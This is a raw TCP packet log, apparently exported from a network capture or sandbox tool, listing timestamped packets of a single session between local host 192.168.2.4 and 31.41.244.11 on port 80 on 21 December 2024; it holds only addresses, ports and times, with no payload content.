Dec 21, 2024 18:16:50.991101980 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.991179943 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.991225004 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.992343903 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.992417097 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.992589951 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.992640972 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.993577957 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.993623972 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.993665934 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.993710041 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.994545937 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.994561911 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.994589090 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.994601965 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.995274067 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.995326996 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.995361090 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.995402098 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.996167898 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.996195078 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.996212959 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.996229887 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.997035027 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.997076988 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.997242928 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.997287035 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.997935057 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.997951031 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.997978926 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.997988939 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.998665094 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.998713017 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.998791933 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.998836040 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.999613047 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.999656916 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.999679089 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.999722958 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.000576019 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.000614882 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.000627995 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.000672102 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.001455069 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.001498938 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.001646996 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.001693010 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.002405882 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.002479076 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.002500057 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.002543926 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.003326893 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.003371000 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.019134998 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.019161940 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.019197941 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.019197941 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.019227028 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.019268036 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.019330978 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.019395113 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.020005941 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.020047903 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.020248890 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.020292997 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.021025896 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.021043062 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.021070004 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.021081924 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.022192001 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.022211075 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.022265911 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.022891045 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.023000956 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.023061037 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.023850918 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.023962021 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.024022102 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.024854898 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.024915934 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.152841091 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.152885914 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.152924061 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.152944088 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.153084040 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.153300047 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.153388977 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.153417110 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.153440952 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.153454065 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.154078960 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.154129982 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.154160023 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.154205084 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.154987097 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.155033112 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.155060053 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.155105114 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.155988932 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.156038046 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.156111002 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.156156063 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.156847954 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.156922102 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.157032967 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.157082081 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.157979965 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.157998085 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.158030033 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.158041954 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.158739090 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.158786058 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.158997059 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.159048080 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.159681082 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.159729004 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.159837961 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.159883022 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.160686970 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.160728931 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.160739899 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.160785913 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.161619902 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.161667109 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.161699057 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.161745071 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.162519932 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.162568092 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.162790060 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.162837982 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.163487911 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.163533926 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.163608074 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.163655043 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.164438963 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.164490938 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.164525032 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.164571047 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.165425062 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.165452003 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.165478945 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.165488958 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.166377068 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.166424036 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.166558027 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.166603088 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.167470932 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.167542934 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.167618990 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.167665958 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.168442965 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.168489933 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.168517113 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.168562889 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.169223070 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.169267893 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.169377089 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.169421911 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.170078993 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.170120955 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.170147896 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.170192957 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.171273947 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.171336889 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.171389103 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.171435118 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.171997070 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.172044039 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.172152042 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.172199011 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.172849894 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.172895908 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.172955036 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.172996998 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.173937082 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.173984051 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.174011946 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.174056053 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.174824953 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.174850941 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.174864054 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.174887896 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.175864935 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.175910950 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.176069975 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.176115990 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.176656961 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.176714897 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.176779032 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.176826954 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.177736044 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.177804947 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.177881002 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.177930117 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.178642988 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.178688049 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.178731918 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.178778887 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.179455042 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.179502010 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.179569006 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.179615974 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.180433989 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.180479050 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.180510998 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.180557013 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.181400061 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.181416035 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.181447029 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.181463003 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.182492018 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.182507992 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.182537079 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.182548046 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.183243990 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.183290958 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.183355093 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.183402061 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.184202909 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.184254885 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.184283018 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.184326887 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.185189962 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.185235023 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.185267925 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.185314894 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.186177015 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.186224937 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.186254025 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.186299086 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.187040091 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.187086105 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.187146902 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.187191963 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.187968969 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.188041925 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.188138962 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.188184977 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.188942909 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.188987970 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.189157963 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.189203024 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.189865112 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.189910889 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.189938068 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.189981937 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.190783024 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.190831900 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.191031933 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.191076994 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.191720009 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.191766024 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.191869974 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.191916943 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.192708969 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.192754984 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.192859888 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.192904949 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.193748951 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.193802118 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.193829060 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.193872929 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.194641113 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.194689035 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.194757938 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.194820881 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.195514917 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.195586920 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.211590052 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.211821079 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.211890936 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.211944103 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.212209940 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.212229013 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.212260008 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.212285042 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.212997913 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.213047981 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.213119030 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.213164091 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.213992119 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.214039087 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.214308977 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.214354992 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.214837074 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.214853048 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.214884996 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.214895964 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.215805054 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.215847969 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.215864897 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.215909958 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.216854095 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.216897964 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.216943979 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.216989994 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.344882965 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.344922066 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.344970942 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.345277071 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.345320940 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.345366001 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.346086025 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.346128941 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.346154928 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.346961975 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.347270012 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.347330093 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.347469091 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.347546101 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.348346949 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.348397970 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.348442078 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.349273920 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.349324942 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.349498034 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.349549055 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.349956989 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.350003958 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.350048065 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.350789070 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.350918055 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.350961924 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.351780891 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.351891994 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.351933002 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.352773905 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.352830887 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.352866888 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.352907896 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.353590012 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.353645086 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.353704929 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.353750944 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.354572058 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.354621887 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.354650021 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.354693890 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.355490923 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.355537891 CET	49866	80	192.168.2.4	31.41.244.11
